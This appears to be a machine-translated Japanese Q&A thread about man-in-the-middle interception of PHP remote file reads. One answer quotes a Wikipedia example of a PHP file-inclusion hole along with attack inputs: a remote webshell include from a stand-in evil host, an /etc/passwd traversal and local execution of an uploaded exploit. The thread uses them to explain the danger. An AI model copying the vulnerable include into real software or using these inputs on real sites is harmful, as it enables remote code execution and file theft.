私はそれがこの質問で言及されているのを見ます:
では、送信/受信されているデータを誰かがどのように「傍受」(および変更)できるのでしょうか。(その質問では、fopenで読み取られたリモートPHPファイルです)
私はそれがこの質問で言及されているのを見ます:
では、送信/受信されているデータを誰かがどのように「傍受」(および変更)できるのでしょうか。(その質問では、fopenで読み取られたリモートPHPファイルです)
中間者攻撃に関するウィキペディアの記事を読むことをお勧めします。
PeeHaaが指摘したように、HTTPSを使用してHTTPストリームをSSL/TLSで暗号化できます。
MITM攻撃は、HTTP固有の問題ではありません。この問題は、信頼できないネットワークを流れるすべての通信に影響します。
ウィキペディアからのこの例は、悪影響を認識している可能性があります。
<?php
$color = 'blue';
if (isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
include( $color . '.php' );
?>
COLOR = http://evil.example.com/webshell.txt-悪意のあるコードを含むリモートでホストされているファイルを挿入します
COLOR = / etc/passwd-攻撃者がUNIXシステムのディレクトリトラバーサルでpasswdファイルの内容を読み取ることができるようにします
/vulnerable.php?COLOR=C:\ftp\upload\exploit-すでにアップロードされているexploit.phpというファイルからコードを実行します(ローカルファイルインクルードの脆弱性)
これらの例から、潜んでいる危険がより明確になることを願っています。
これらの攻撃を軽減するには、「スクリプト外の信頼できないデータには検証が必要です」。